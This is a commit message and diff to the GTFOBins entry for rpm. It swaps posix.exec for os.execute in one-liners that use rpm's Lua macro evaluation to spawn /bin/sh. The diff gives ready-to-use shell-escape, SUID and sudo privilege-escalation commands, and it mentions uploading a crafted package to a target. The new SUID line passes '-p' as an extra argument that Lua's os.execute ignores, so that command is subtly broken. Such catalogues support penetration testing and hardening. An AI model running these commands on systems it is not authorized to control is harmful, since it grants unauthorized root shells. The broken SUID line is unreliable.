Use os.execute instead of posix.exec in rpm

From rpm versions 4.9.0 and on, posix.exec() will return an error unless called
from a child process created with posix.fork(). os.execute() may be used
instead.

This change is documented in these two resources:

- http://rpm.org/user_doc/lua.html
- https://rpm-packaging-guide.github.io/

Close #53.

_gtfobins/rpm.md

@@ -1,11 +1,11 @@
 ---
 functions:
   shell:
-    - code: rpm --eval '%{lua:posix.exec("/bin/sh")}'
+    - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
   suid:
-    - code: ./rpm --eval '%{lua:posix.exec("/bin/sh", "-p")}'
+    - code: ./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
   sudo:
-    - code: sudo rpm --eval '%{lua:posix.exec("/bin/sh")}'
+    - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
     - description: |
         It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
         ```